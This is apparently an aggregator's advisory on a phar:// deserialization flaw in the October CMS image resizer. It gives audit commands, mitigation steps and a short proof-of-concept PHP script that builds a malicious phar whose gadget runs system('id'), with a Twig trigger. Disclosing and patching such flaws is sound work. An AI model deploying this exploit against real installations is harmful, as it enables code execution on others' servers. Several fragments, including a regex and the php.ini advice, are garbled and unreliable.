Listen to this Post
The image resizer in October CMS classified external sources by testing whether the source string began with the substring http, and the string-source branch in `ResizeImageItem::fromObject()` accepted any value containing `://` as a URL. As a result, non-http(s) PHP stream wrappers such as phar://, `file://` and ftp://` could be stored in the resizer cache and later passed to the underlying image library. On a `phar://` path this can lead to metadata deserialization during subsequent file operations. Exploitation requires an existing template-authoring or backend-configuration primitive that passes untrusted input into the `|resize` Twig filter (or the `ResizeImages::resize()` API). The `/resize/{file}` route itself is a lookup against a cache entry that was previously written by trusted server-side code, and an unauthenticated visitor cannot cause an arbitrary source path to be written into that cache. In October's trust model the Publisher and Developer backend roles that can author templates are already trusted with template code execution, so this is a defense-in-depth hardening rather than an unauthenticated network-to-RCE path. The vulnerability has been patched in v4.3.5.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: October CMS
Version: < 4.3.5
Vulnerability: phar:// deserialization
Severity: Low
date: 2026-09-13
<h2 style="color: blue;">Prediction: Patched 2026-09-13</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
Audit template code for unsafe |resize usage
grep -rn "|resize" themes/ plugins/ --include=".htm" --include=".php"
Test phar:// wrapper acceptance in resizer
php -r "require 'vendor/autoload.php'; use System\Classes\ResizeImageItem; \$item = new ResizeImageItem; \$item->fromObject('phar:///tmp/exploit.phar');"
Validate scheme is http/https
php -r "\$src = 'phar:///tmp/exploit.phar'; if (!preg_match('^https?://i', \$src)) { die('Blocked'); }"
Check October version
php artisan october:version
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
// Generate a malicious phar archive with metadata
// Requires PHP 7.x for automatic deserialization on file ops
$phar = new Phar('/tmp/exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// Craft a serialized object with a __destruct or __wakeup gadget
class EvilGadget {
public function __destruct() {
system('id'); // Arbitrary command execution
}
}
$phar->setMetadata(new EvilGadget());
$phar->stopBuffering();
// Trigger via template that pipes untrusted input to |resize
// {{ userInput|resize(100, 100) }}
// Where userInput = "phar:///tmp/exploit.phar"
<h2 style="color: blue;">Protection:</h2>
Upgrade to October CMS v4.3.5. Audit all template code and backend widget configuration for uses of the `|resize` filter (or direct `ResizeImages::resize()` calls) that accept untrusted string input. Validate that the scheme is `http` or `https` before passing any source path to the resizer. Disable `phar` stream wrapper if not required via `php.ini` (phar.readonly = Ondoes not prevent deserialization on read; consider `stream_wrapper_unregister('phar')` in a bootstrap file). Restrict template-authoring and backend-configuration permissions to fully trusted users.__wakeup
<h2 style="color: blue;">Impact:</h2>
On installations where a template author has piped untrusted input into `|resize` without validation, a `phar://` source could reach the resizer and trigger metadata deserialization, potentially invoking magic methods (,__destruct`) of attacker-controlled objects. No exposure on default templates or on installations where `|resize` is only applied to trusted values (uploaded file models, theme assets, static URLs). The vulnerability is a hardening issue; it is not exploitable from the network without a pre-existing injection primitive on the calling code. Successful exploitation requires the Publisher or Developer backend role, which already possesses template code execution capabilities, making this a defense-in-depth concern rather than an unauthenticated remote code execution path.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
